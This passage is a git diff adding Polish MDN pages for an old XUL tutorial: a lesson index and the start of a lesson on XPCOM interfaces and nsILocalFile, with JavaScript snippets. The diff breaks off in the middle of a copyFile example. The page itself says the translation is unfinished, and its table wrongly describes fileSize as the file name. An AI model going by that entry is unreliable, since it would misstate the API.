+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_funkcji_obsługi_zdarzenia" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Przykład_XBL">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/index.html b/files/pl/mozilla/tech/xul/kurs_xul/index.html
new file mode 100644
index 0000000000..1b540fb974
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/index.html
@@ -0,0 +1,170 @@
+---
+title: Kurs XUL
+slug: Mozilla/Tech/XUL/Kurs_XUL
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial
+---
+<p>Niniejszy kurs opisuje <a href="/pl/XUL" title="pl/XUL">XUL</a>, <a href="/pl/XML" title="pl/XML">XML</a>-owy język opisu interfejsu użytkownika . Język ten został stworzony dla aplikacji Mozilli i jest stosowany do definiowania interfejsu użytkownika.</p>
+
+<div class="note">Niniejsze tłumaczenie nie jest skończone. Trzeba je w całości przejrzeć i poprawić.  Jest ktoś chętny, aby je dopracować? Ogólnie panuje lekki ... no zastój - na razie zalecamy korzystanie z wersji angielskiej tego kursu, niebawem będzie on już w całości po polsku.</div>
+
+<h2 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Wprowadzenie" title="pl/Kurs_XUL/Wprowadzenie">Wprowadzenie</a></li>
+ <li><a href="/pl/Kurs_XUL/Struktura_XUL" title="pl/Kurs_XUL/Struktura_XUL">Struktura języka XUL</a></li>
+ <li><a href="/pl/Kurs_XUL/URL_Chrome" title="pl/Kurs_XUL/URL_Chrome">Adresy URL typu Chrome</a></li>
+ <li><a href="/pl/Kurs_XUL/Pliki_manifestu" title="pl/Kurs_XUL/Pliki_manifestu">Pliki manifestu</a></li>
+</ul>
+
+<h2 id="Podstawowe_elementy" name="Podstawowe_elementy">Podstawowe elementy</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Tworzenie_okna" title="pl/Kurs_XUL/Tworzenie_okna">Tworzenie okna</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_przycisk%C3%B3w" title="pl/Kurs_XUL/Dodawanie_przycisków">Dodawanie przycisków</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_etykiet_i_obrazk%C3%B3w" title="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków">Dodawanie etykiet i obrazków</a></li>
+ <li><a href="/pl/Kurs_XUL/Kontrolki_wej%C5%9Bcia" title="pl/Kurs_XUL/Kontrolki_wejścia">Kontrolki wejścia</a></li>
+ <li><a href="/pl/Kurs_XUL/Kontrolki_numeryczne" title="pl/Kurs_XUL/Kontrolki_numeryczne">Kontrolki numeryczne</a></li>
+ <li><a href="/pl/Kurs_XUL/Kontrolki_list" title="pl/Kurs_XUL/Kontrolki_list">Kontrolki list</a></li>
+ <li><a href="/pl/Kurs_XUL/Paski_post%C4%99pu" title="pl/Kurs_XUL/Paski_postępu">Paski postępu</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_element%C3%B3w_HTML" title="pl/Kurs_XUL/Dodawanie_elementów_HTML">Dodawanie elementów HTML</a></li>
+ <li><a href="/pl/Kurs_XUL/Zastosowanie_odst%C4%99p%C3%B3w" title="pl/Kurs_XUL/Zastosowanie_odstępów">Zastosowanie odstępów</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodatkowe_mo%C5%BCliwo%C5%9Bci_przycisku" title="pl/Kurs_XUL/Dodatkowe_możliwości_przycisku">Dodatkowe możliwości przycisków</a></li>
+</ul>
+
+<h2 id="Model_pude.C5.82kowy" name="Model_pude.C5.82kowy">Model pudełkowy</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Model_pude%C5%82kowy" title="pl/Kurs_XUL/Model_pudełkowy">Model pudełkowy</a></li>
+ <li><a href="/pl/Kurs_XUL/Pozycjonowanie_element%C3%B3w" title="pl/Kurs_XUL/Pozycjonowanie_elementów">Pozycjonowanie elementów</a></li>
+ <li><a href="/pl/Kurs_XUL/Szczeg%C3%B3%C5%82y_modelu_pude%C5%82kowego" title="pl/Kurs_XUL/Szczegóły_modelu_pudełkowego">Szczegóły modelu pudełkowego</a></li>
+ <li><a href="/pl/Kurs_XUL/Pola_grup" title="pl/Kurs_XUL/Pola_grup">Pola grup</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_innych_element%C3%B3w" title="pl/Kurs_XUL/Dodawanie_innych_elementów">Dodawanie innych elementów</a></li>
+</ul>
+
+<h2 id="Dodatkowe_elementy_rozmieszczenia" name="Dodatkowe_elementy_rozmieszczenia">Dodatkowe elementy rozmieszczenia</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Stosy_i_pok%C5%82ady" title="pl/Kurs_XUL/Stosy_i_pokłady">Stosy i pokłady</a></li>
+ <li><a href="/pl/Kurs_XUL/Pozycjonowanie_stosu" title="pl/Kurs_XUL/Pozycjonowanie_stosu">Pozycjonowanie stosu</a></li>
+ <li><a href="/pl/Kurs_XUL/Pude%C5%82ko_kart" title="pl/Kurs_XUL/Pudełko_kart">Pudełko kart</a></li>
+ <li><a href="/pl/Kurs_XUL/Siatki" title="pl/Kurs_XUL/Siatki">Siatki</a></li>
+ <li><a href="/pl/Kurs_XUL/Panele_tre%C5%9Bci" title="pl/Kurs_XUL/Panele_treści">Panele treści</a></li>
+ <li><a href="/pl/Kurs_XUL/Rozdzielacze" title="pl/Kurs_XUL/Rozdzielacze">Rozdzielacze</a></li>
+ <li><a href="/pl/Kurs_XUL/Paski_przewijania" title="pl/Kurs_XUL/Paski_przewijania">Paski przewijania</a> </li>
+</ul>
+
+<h2 id="Paski_narz.C4.99dzi_i_menu" name="Paski_narz.C4.99dzi_i_menu">Paski narzędzi i menu</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Paski_narz%C4%99dzi" title="pl/Kurs_XUL/Paski_narzędzi">Paski narzędzi</a></li>
+ <li><a href="/pl/Kurs_XUL/Proste_paski_menu" title="pl/Kurs_XUL/Proste_paski_menu">Proste paski menu</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodatkowe_mo%C5%BCliwo%C5%9Bci_menu" title="pl/Kurs_XUL/Dodatkowe_możliwości_menu">Dodatkowe możliwości menu</a></li>
+ <li><a href="/pl/Kurs_XUL/Wyskakuj%C4%85ce_menu" title="pl/Kurs_XUL/Wyskakujące_menu">Wyskakujące menu</a></li>
+ <li><a href="/pl/Kurs_XUL/Przewijane_menu" title="pl/Kurs_XUL/Przewijane_menu">Przewijane menu</a></li>
+</ul>
+
+<h2 id="Zdarzenia_i_skrypty" name="Zdarzenia_i_skrypty">Zdarzenia i skrypty</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_funkcji_obs%C5%82ugi_zdarze%C5%84" title="pl/Kurs_XUL/Dodawanie_funkcji_obsługi_zdarzeń">Dodawanie funkcji obsługi zdarzeń</a></li>
+ <li><a href="/pl/Kurs_XUL/Wi%C4%99cej_funkcji_obs%C5%82ugi_zdarze%C5%84" title="pl/Kurs_XUL/Więcej_funkcji_obsługi_zdarzeń">Więcej funkcji obsługi zdarzeń</a></li>
+ <li><a href="/pl/Kurs_XUL/Skr%C3%B3ty_klawiaturowe" title="pl/Kurs_XUL/Skróty_klawiaturowe">Skróty klawiaturowe</a></li>
+ <li><a href="/pl/Kurs_XUL/Kontrola_zaznaczenia_i_aktywacji_element%C3%B3w" title="pl/Kurs_XUL/Kontrola_zaznaczenia_i_aktywacji_elementów">Kontrola zaznaczenia i aktywacji elementów</a></li>
+ <li><a href="/pl/Kurs_XUL/Polecenia" title="pl/Kurs_XUL/Polecenia">Polecenia</a></li>
+ <li><a href="/pl/Kurs_XUL/Aktualizacja_polece%C5%84" title="pl/Kurs_XUL/Aktualizacja_poleceń">Aktualizacja poleceń</a></li>
+ <li><a href="/pl/Kurs_XUL/Rozg%C5%82aszacze_oraz_obserwatory" title="pl/Kurs_XUL/Rozgłaszacze_oraz_obserwatory">Rozgłaszacze oraz obserwatory</a></li>
+</ul>
+
+<h2 id="Obiektowy_Model_Dokumentu_.28DOM.29" name="Obiektowy_Model_Dokumentu_.28DOM.29">Obiektowy Model Dokumentu (DOM)</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Obiektowy_model_dokumentu" title="pl/Kurs_XUL/Obiektowy_model_dokumentu">Obiektowy model dokumentu</a></li>
+ <li><a href="/pl/Kurs_XUL/Modyfikowanie_interfejsu_XUL" title="pl/Kurs_XUL/Modyfikowanie_interfejsu_XUL">Modyfikowanie interfejsu XUL</a></li>
+ <li><a href="/pl/Kurs_XUL/Manipulowanie_listami" title="pl/Kurs_XUL/Manipulowanie_listami">Manipulowanie listami</a></li>
+ <li><a href="/pl/Kurs_XUL/Obiekty_pude%C5%82ka" title="pl/Kurs_XUL/Obiekty_pudełka">Obiekty pudełka</a></li>
+ <li><a href="/pl/Kurs_XUL/Interfejsy_XPCOM" title="pl/Kurs_XUL/Interfejsy_XPCOM">Interfejsy XPCOM</a></li>
+ <li><a href="/pl/Kurs_XUL/Przyk%C5%82ady_XPCOM" title="pl/Kurs_XUL/Przykłady_XPCOM">Przykłady XPCOM</a></li>
+</ul>
+
+<h2 id="Drzewa" name="Drzewa">Drzewa</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Drzewa" title="pl/Kurs_XUL/Drzewa">Drzewa</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodatkowe_mo%C5%BCliwo%C5%9Bci_drzewa" title="pl/Kurs_XUL/Dodatkowe_możliwości_drzewa">Dodatkowe możliwości drzewa</a></li>
+ <li><a href="/pl/Kurs_XUL/Zaznaczenie_drzewa" title="pl/Kurs_XUL/Zaznaczenie_drzewa">Zaznaczenie drzewa</a></li>
+ <li><a href="/pl/Kurs_XUL/W%C5%82asne_widoki_drzewa" title="pl/Kurs_XUL/Własne_widoki_drzewa">Własne widoki drzewa</a></li>
+ <li><a href="/pl/Kurs_XUL/Szczeg%C3%B3%C5%82y_widoku_drzewa" title="pl/Kurs_XUL/Szczegóły_widoku_drzewa">Szczegóły widoku drzewa</a></li>
+ <li><a href="/pl/Kurs_XUL/Obiekty_pude%C5%82kowe_drzewa" title="pl/Kurs_XUL/Obiekty_pudełkowe_drzewa">Obiekty pudełkowe drzewa</a></li>
+</ul>
+
+<h2 id="RDF_i_szablony" name="RDF_i_szablony">RDF i szablony</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Wprowadzenie_do_RDF" title="pl/Kurs_XUL/Wprowadzenie_do_RDF">Wprowadzenie do RDF</a></li>
+ <li><a href="/pl/Kurs_XUL/Szablony" title="pl/Kurs_XUL/Szablony">Szablony</a></li>
+ <li><a href="/pl/Kurs_XUL/Drzewa_i_szablony" title="pl/Kurs_XUL/Drzewa_i_szablony">Drzewa i szablony</a></li>
+ <li><a href="/pl/Kurs_XUL/%C5%B9r%C3%B3d%C5%82a_danych_RDF" title="pl/Kurs_XUL/Źródła_danych_RDF">Źródła danych RDF</a></li>
+ <li><a href="/pl/Kurs_XUL/Zaawansowane_regu%C5%82y" title="pl/Kurs_XUL/Zaawansowane_reguły">Zaawansowane reguły</a></li>
+ <li><a href="/pl/Kurs_XUL/Trwa%C5%82e_dane" title="pl/Kurs_XUL/Trwałe_dane">Trwałe dane</a></li>
+</ul>
+
+<h2 id="Motywy_i_t.C5.82umaczenia" name="Motywy_i_t.C5.82umaczenia">Motywy i tłumaczenia</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_arkuszy_styl%C3%B3w" title="pl/Kurs_XUL/Dodawanie_arkuszy_stylów">Dodawanie arkuszy stylów</a></li>
+ <li><a href="/pl/Kurs_XUL/Nadawanie_stylu_drzewa" title="pl/Kurs_XUL/Nadawanie_stylu_drzewa">Nadawanie stylu drzewa</a></li>
+ <li><a href="/pl/Kurs_XUL/Modyfikacja_domy%C5%9Blnego_motywu" title="pl/Kurs_XUL/Modyfikacja_domyślnego_motywu">Modyfikacja domyślnego motywu</a></li>
+ <li><a href="/pl/Kurs_XUL/Tworzenie_motyw%C3%B3w" title="pl/Kurs_XUL/Tworzenie_motywów">Tworzenie motywów</a></li>
+ <li><a href="/pl/Kurs_XUL/Lokalizacja" title="pl/Kurs_XUL/Lokalizacja">Lokalizacja</a></li>
+ <li><a href="/pl/Kurs_XUL/Plik_w%C5%82asno%C5%9Bci" title="pl/Kurs_XUL/Plik_własności">Plik własności</a></li>
+</ul>
+
+<h2 id="Wi.C4.85zania" name="Wi.C4.85zania">Wiązania</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Wprowadzenie_do_XBL" title="pl/Kurs_XUL/Wprowadzenie_do_XBL">Wprowadzenie do XBL</a></li>
+ <li><a href="/pl/Kurs_XUL/Tre%C5%9B%C4%87_anonimowa" title="pl/Kurs_XUL/Treść_anonimowa">Treść anonimowa</a></li>
+ <li><a href="/pl/Kurs_XUL/Dziedziczenie_atrybutu_XBL" title="pl/Kurs_XUL/Dziedziczenie_atrybutu_XBL">Dziedziczenie atrybutu XBL</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_w%C5%82asno%C5%9Bci" title="pl/Kurs_XUL/Dodawanie_własności">Dodawanie własności</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_metod" title="pl/Kurs_XUL/Dodawanie_metod">Dodawanie metod</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodawanie_funkcji_obs%C5%82ugi_zdarzenia" title="pl/Kurs_XUL/Dodawanie_funkcji_obsługi_zdarzenia">Dodawanie funkcji obsługi zdarzenia</a></li>
+ <li><a href="/pl/Kurs_XUL/Dziedziczenie_XBL" title="pl/Kurs_XUL/Dziedziczenie_XBL">Dziedziczenie XBL</a></li>
+ <li><a href="/pl/Kurs_XUL/Przyk%C5%82ad_XBL" title="pl/Kurs_XUL/Przykład_XBL">Przykład XBL</a></li>
+</ul>
+
+<h2 id="Specjalne_typy_okien" name="Specjalne_typy_okien">Specjalne typy okien</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Mo%C5%BCliwo%C5%9Bci_okna" title="pl/Kurs_XUL/Możliwości_okna">Możliwości okna</a></li>
+ <li><a href="/pl/Kurs_XUL/Tworzenie_okien_dialogowych" title="pl/Kurs_XUL/Tworzenie_okien_dialogowych">Tworzenie okien dialogowych</a></li>
+ <li><a href="/pl/Kurs_XUL/Okna_otwierania_i_zapisywania_plik%C3%B3w" title="pl/Kurs_XUL/Okna_otwierania_i_zapisywania_plików">Okna otwierania i zapisywania plików</a></li>
+ <li><a href="/pl/Kurs_XUL/Tworzenie_kreatora" title="pl/Kurs_XUL/Tworzenie_kreatora">Tworzenie kreatora</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodatkowe_mo%C5%BCliwo%C5%9Bci_kreator%C3%B3w" title="pl/Kurs_XUL/Dodatkowe_możliwości_kreatorów">Dodatkowe możliwości kreatorów</a></li>
+ <li><a href="/pl/Kurs_XUL/Nak%C5%82adki" title="pl/Kurs_XUL/Nakładki">Nakładki</a></li>
+ <li><a href="/pl/Kurs_XUL/Nak%C5%82adki_dla_wielu_pakiet%C3%B3w" title="pl/Kurs_XUL/Nakładki_dla_wielu_pakietów">Nakładki dla wielu pakietów</a></li>
+</ul>
+
+<h2 id="Instalatory" name="Instalatory">Instalatory</h2>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Tworzenie_instalatora" title="pl/Kurs_XUL/Tworzenie_instalatora">Tworzenie instalatora</a></li>
+ <li><a href="/pl/Kurs_XUL/Skrypty_instalacyjne" title="pl/Kurs_XUL/Skrypty_instalacyjne">Skrypty instalacyjne</a></li>
+ <li><a href="/pl/Kurs_XUL/Dodatkowe_mo%C5%BCliwo%C5%9Bci_instalacji" title="pl/Kurs_XUL/Dodatkowe_możliwości_instalacji">Dodatkowe możliwości instalacji</a></li>
+</ul>
+
+<div class="note">
+<p>Oryginalny (w j.ang.) Kurs XUL pierwotnie został napisany przez <a class="external" href="http://www.xulplanet.com/ndeakin/">Neila Deakina</a>. Pozwolił on nam używać swojego kursu jako części serwisu <a href="/Project:pl/O_MDC" title="Project:pl/O_MDC">MDC</a>.</p>
+</div>
+
+<div class="originaldocinfo">
+<h5 id="Informacje_o_oryginale" name="Informacje_o_oryginale">Informacje o oryginale</h5>
+
+<ul>
+ <li>Autor: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a></li>
+ <li>Prawa autorskie: © 1999-2005 XULPlanet.com</li>
+</ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/interfejsy_xpcom/index.html b/files/pl/mozilla/tech/xul/kurs_xul/interfejsy_xpcom/index.html
new file mode 100644
index 0000000000..462e7936f4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/interfejsy_xpcom/index.html
@@ -0,0 +1,175 @@
+---
+title: Interfejsy XPCOM
+slug: Mozilla/Tech/XUL/Kurs_XUL/Interfejsy_XPCOM
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Interfaces
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Obiekty_pudełka" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Przykłady_XPCOM">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule krótko przyjrzymy się XPCOM (Wieloplatformowy Model Obiektów Składowych), który jest systemem Object, jakiego używa Mozilla.</p>
+
+<h2 id="Wywo.C5.82ywanie_obiekt.C3.B3w_wewn.C4.99trznych" name="Wywo.C5.82ywanie_obiekt.C3.B3w_wewn.C4.99trznych">Wywoływanie obiektów wewnętrznych</h2>
+
+<p>Przez zastosowanie XUL możemy zbudować złożony interfejs użytkownika. Możemy dołączyć skrypty, które modyfikują interfejs i wykonują zadania. Jednakże, jest kilka rzeczy, których nie można wykonać bezpośrednio w JavaScript. Na przykład, jeśli chcielibyśmy stworzyć aplikację pocztową musielibyśmy napisać skrypt, dzięki któremu połączymy się z serwerem pocztowym dla wyszukania i wysłania mail. JavaScript nie ma możliwości wykonania takich rzeczy.</p>
+
+<p>Jedynym sposób wykonania tego byłoby napisanie kodu wewnętrznego, który pobrałby pocztę. Musimy również posiadać sposób, aby w łatwy sposób nasze skrypty wywoływały kod wewnętrzny Mozilla dostarcza takiej metody wymagającej zastosowania <a href="pl/XPCOM">XPCOM</a>(Wieloplaformowego modelu obiektów składowych)</p>
+
+<h2 id="O_XPCOM" name="O_XPCOM">O XPCOM</h2>
+
+<p>Mozilla jest złożona ze zbioru komponentów, każdy wykonujący pewne zadanie. Na przykład jest komponent dla każdego menu, przycisku i elementu. Komponenty są złożone z kilku definicji nazywanych interfejsami Interfejs w Mozilli jest definicją zbioru funkcjonalności, które mogą być zaimplementowane przez komponenty.</p>
+
+<p>Komponenty są tym, co implementuje kod, w Mozilli dla wykonania różnych rzeczy. Każdy komponent implementuje funkcjonalność opisaną przez interfejsy. Pojedynczy komponent może zaimplementować wiele interfejsów. A wiele komponentów może zaimplementować ten sam interfejs.</p>
+
+<p>Weźmy za przykład komponent plik. Interfejs potrzebowałby opisu właściwości i funkcji, jakie mogą być wykonywane na plikach. Plik potrzebuje właściwości dla swojej nazwy, daty modyfikacji i swojego rozmiaru. Funkcje pliku mogą obejmować jego przenoszenie, kopiowanie i usuwanie.</p>
+
+<p>Interfejs Plik opisuje tylko cechy charakterystyczne pliku, nie implementuje go Implementację interfejsu Plik pozostawiono komponentowi. Komponent będzie miał kod, który może odnaleźć nazwę pliku, datę i rozmiar. Dodatkowo, będzie miał kod, który kopiuje i zmienia jego nazwę.</p>
+
+<p>Nie musimy się martwić jak komponent go implementuje tak długo jak implementuje interfejs poprawnie. Oczywiście, będziemy mieli różne implementacje, po jednej dla każdej platformy Wersje komponentu plik dla Windows i Macintosh byłyby znacząco różne. Jednak obie implementują ten sam interfejs. A zatem możemy użyć komponentu przez udostępnienie korzystania z funkcji, jakie znamy z interfejsu.</p>
+
+<p>W Mozilli interfejsy są poprzedzone, ‘nsI’ aby były łatwo rozpoznawalne jako interfejsy. Na przykład nsIAddressBook jest to interfejs dla interaktywności z książka adresową, nsISound jest używany do odgrywania plików a nsILocalFile jest używany do plików.</p>
+
+<p>Komponenty XPCOM są zazwyczaj zaimplementowane wewnętrznie, co oznacza, że generalnie wykonują rzeczy, których nie może zrobić sam JavaScript. Jednak sposób, w jaki można je wywołać zobaczymy wkrótce. Możemy wywołać dowolną funkcję dostarczoną przez komponent, opisaną przez interfejsy go implementujące. Na przykład jeśli mamy komponent, możemy sprawdzić czy jest zaimplementowany jako nsISOund,a jeśli tak, możemy odegrać przez niego dźwięk.</p>
+
+<p>Proces wywoływania XPCOM ze skryptów jest nazywany XPConnect, który jest warstwą tłumaczącą obiekty skryptowe na obiekty wewnętrzne.</p>
+
+<h2 id="Tworzenie_obiekt.C3.B3w_XPCOM" name="Tworzenie_obiekt.C3.B3w_XPCOM">Tworzenie obiektów XPCOM</h2>
+
+<p>Mamy trzy kroki dla wywołania komponentu XPCOM</p>
+
+<ol>
+ <li>Pobranie komponentu.</li>
+ <li>Pobranie części komponentu, która implementuje interfejs, jaki chcemy użyć.</li>
+ <li>Wywołanie potrzebnej nam funkcji.</li>
+</ol>
+
+<p>Kiedy wykonasz pierwsze dwa kroki, możesz powtarzać ostatni krok tak często jak to konieczne. Powiedzmy, że chcesz zmienić nazwę pliku. Możemy użyć interfejsu nsILocalFile. Pierwszym krokiem jest pobranie komponentu plik. Drugim jest wykonanie zapytania do komponentu plik i pobranie jego części ,która implementuje interfejs nsILocalFile. W końcu wywołujemy funkcje dostarczone przez ten interfejs. Interfejs ten jest użyty do przedstawienia pojedynczego pliku.</p>
+
+<p>Widzieliśmy ,że interfejsy są zawsze nazywane zaczynając od 'nsI' Komponenty ,jednak, odwołują się do stosowania składni URI. Mozilla przechowuje listę wszystkich komponentów, które są dostępne w swoim własnym rejestrze. Poszczególni użytkownicy mogą instalować nowe komponenty jeśli ich potrzebują. Działają one jako plug-iny.</p>
+
+<p>Mozilla dostarcza komponentu plik, to znaczy komponent implementujący nsILocalFile. Do tego komponentu można odnieść się używając URI <a class="link-mailto" href="mailto:'@mozilla.org" rel="freelink">'@mozilla.org</a>/file/local;1' Komponent: Schemat URI jest używany do określenia komponentu, Do pozostałych komponentów odnosimy się w podobny sposób.</p>
+
+<p>URI komponentu może być użyte dla pobrania komponentu. Możesz pobrać komponent używając kodu JavaScript podobnego do poniższego:</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+</pre>
+
+<p>Komponent plik jest wyszukiwany i przechowywany w zmiennej aFile. <code>Components</code> w tym powyższym przykładzie odnosi się do obiektu ogólnego, który dostarcza pewnego komponentu pokrewnego funkcjom. Tutaj pobraliśmy klasę komponentu z właściwości <code>classes</code>. Własność <code>classes</code> jest to tablica wszystkich dostępnych komponentów. Aby uzyskać inny komponent, zastąp URI wewnątrz nawiasów kwadratowych na URI komponentu jakiego chcesz użyć. Na końcu jest egzemplarz funkcja <code>createInstance</code></p>
+
+<p>Powinieneś sprawdzić wartość zwracaną z <code>createInstance</code>aby upewnić się ,że nie jest to wartość zerowa, która wskazywała by, że komponent nie istnieje.</p>
+
+<p>Jednakże, w tym miejscu, mamy tylko referencję do samego komponentu plik. Żeby wywołać z niego funkcje potrzebujemy pobrać jeden z jego interfejsów, w tym przypadku nsILocalFile. Druga linia jaką potrzeba dodać jest następująca:</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile) aFile.QueryInterface(Components.interfaces.nsILocalFile);
+</pre>
+
+<p><br>
+ Funkcja <code>QueryInterface</code> jest funkcją dostarczaną przez wszystkie komponenty, które mogą użyte do pobrania określonego interfejsu tego komponentu. Funkcja ta pobiera jedne parametr, interfejs jaki chcesz uzyskać. Właściwość <code>interfaces</code> obiektu <code>Components</code> zawiera listę wszystkich tych interfejsów, które są dostępne. Tu używamy interfejsu nsiLocalFile i przekazujemy go jako parametr do <code>QueryInterface</code>. Wynik jest taki ,że aFile będzie się odnosił do tej części komponentu, który implementuje interfejs nsiLocalFile.</p>
+
+<p>Te dwie powyższe linie JavaScript mogą być użyte do pobrania dowolnego interfejsu dowolnego komponentu. Wystarczy zastąpić nazwę komponentu nazwą tego komponentu jakiego chcemy użyć i zmienić nazwę interfejsu. Możesz oczywiście również użyć dowolnej nazwy zmiennej. Na przykład aby pobrać interfejs sound, możesz zrobić coś takiego:</p>
+
+<pre>var sound = Components.classes["@mozilla.org/sound;1"].createInstance();
+if (sound) sound.QueryInterface(Components.interfaces.nsISound);
+</pre>
+
+<p>Interfejsy XPCOM mogą dziedziczyć z innych interfejsów. Interfejsy które dziedziczą z innych mają swoje własne funkcje i funkcje wszystkich tych interfejsów z których dziedziczą. Wszystkie interfejsy dziedziczą z interfejsu najwyższego poziomu nazwanego nsISupport. Ma on jedną funkcję dostosowaną do JavaScript, QueryInterface, którą już widzieliśmy. Ponieważ interfejs nsISupport zaimplementowały wszystkie komponenty, funkcja QueryInterface jest dostępna w każdym komponencie.</p>
+
+<p>Kilka komponentów może zaimplementować ten sam interfejs. Zazwyczaj, mogą być podklasami oryginału ale nie koniecznie. Dowolny komponent może zaimplementować funkcjonalność nsILocalFile. Dodatkowo komponent może zaimplementować kilka interfejsów. Jest tak z powodu tego, że dwa kroki są wymagane w celu uzyskania interfejsu wywołującego funkcje.</p>
+
+<p>Jednakże jest skrót jakiego możemy użyć ponieważ często będziemy stosować te linie razem:</p>
+
+<pre>var aLocalFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
+</pre>
+
+<p>Wykonuje to tą samą rzecz jak dwie linie ale w jednej linii kodu. Eliminuje to potrzebę tworzenia egzemplarza a potem zapytania go o interfejs w dwóch oddzielnych krokach.</p>
+
+<p>Jeśli wywołujesz QueryInterface w obiekcie a żądany interfejs nie jest obsługiwany przez ten obiekt, pojawi się wyjątek. Jeśli nie jesteś pewny czy interfejs jest obsługiwany przez komponent możesz użyć do sprawdzenia tego operatora instanceof:</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile instanceof Components.interfaces.nsILocalFile){
+ // do something
+}
+</pre>
+
+<p>Operator instanceof zwraca prawdę jeśli aFile implementuje interfejs nsILocalFile. Wywoływanie QueryInterface ma również efekt uboczny, w ten sposób aFile będzie potem ważnym nsiLocalFile.</p>
+
+<h2 id="Wywo.C5.82ywanie_funkcji_z_interfejsu" name="Wywo.C5.82ywanie_funkcji_z_interfejsu">Wywoływanie funkcji z interfejsu</h2>
+
+<p>Teraz kiedy mamy obiekt, który odnosi się do komponentu z interfejsem nsiLocalFile, możemy wywołać przez niego wywołać funkcje nsiLocalFile. Poniższa tabela pokazuje kilka z właściwości i metod interfejsu nsiLocalFile.</p>
+
+<dl>
+ <dt>initWithPath </dt>
+ <dd>Ta metoda jest używana do zainicjalizowania ścieżki dostępu i nazwy pliku dla nsiLocalFile. Pierwszy parametr powinien być ścieżką do pliku np: '/usr/local/mozilla'.</dd>
+ <dt>leafName </dt>
+ <dd>Nazwa pliku bez części z katalogiem.</dd>
+ <dt>fileSize </dt>
+ <dd>Nazwa pliku bez części z katalogiem.</dd>
+ <dt>isDirectory() </dt>
+ <dd>Zwraca prawdę jeśli nsiLocalFile przedstawia katalog.</dd>
+ <dt>remove(recursive) </dt>
+ <dd>Usuwa plik. Jeśli parametr recursive to prawda, katalog i wszystkie jego pliki i podkatalogi również będą usunięte.</dd>
+ <dt>copyTo(directory,newname) </dt>
+ <dd>Kopiuje plik do innego katalogu, opcjonalnie zmieniając nazwę pliku. Ten katalog powinien być nsILOcalFile mieszczącym katalog dla kopiowanego pliku.</dd>
+ <dt>moveTo(directory,newname) </dt>
+ <dd>Przenosi plik do innego katalogu, lub zmienia nazwę pliku. Katalog powinien być nsILocalFile mieszczącym katalog dla przenoszonego pliku.</dd>
+</dl>
+
+<p>Aby usunąć plik najpierw musimy przypisać plik do nsiLOcalFile. Możemy wywołać metodę <code>initWithPath</code> wskazującą, jaki plik mamy na myśli. Potem przypisujemy ścieżkę pliku do tej właściwości. Następnie wywołujemy funkcję <code><b>remove</b></code>. Pobiera ona jeden parametr który wskazuje czy usuwanie jest rekurencyjne. Poniższy kod demonstruje te dwa kroki:</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile instanceof Components.interfaces.nsILocalFile){
+ aFile.initWithPath("/mozilla/testfile.txt");
+ aFile.remove(false);
+}
+</pre>
+
+<p>Ten kod pobiera plik /mozilla/testfile.txt i usuwa go. Wypróbuj ten przykład przez dodanie tego kodu do programu obsługi zdarzeń. Powinieneś zmienić nazwę istniejącego pliku jaki chciał być usunąć.</p>
+
+<p>W powyższej tablicy funkcji, zobaczysz dwie funkcje <code>copyTo</code> i <code>moveTo</code>. Te dwie funkcje mogą być użyte, odpowiednio, do skopiowania plików i przeniesienia plików. Zauważ ,że nie pobierają one parametru ciągu dla katalogu do którego kopiujemy lub usuwamy, ale zamiast tego pobierają nsILocalFile. Oznacza to ,że musisz pobrać dwa komponenty plik. Poniższy przykład pokazuje jak skopiowac plik.</p>
+
+<pre>function copyFile(sourcefile,destdir)
+{
+ // get a component for the file to copy
+ var aFile = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsILocalFile);
+ if (!aFile) return false;
+
+ // get a component for the directory to copy to
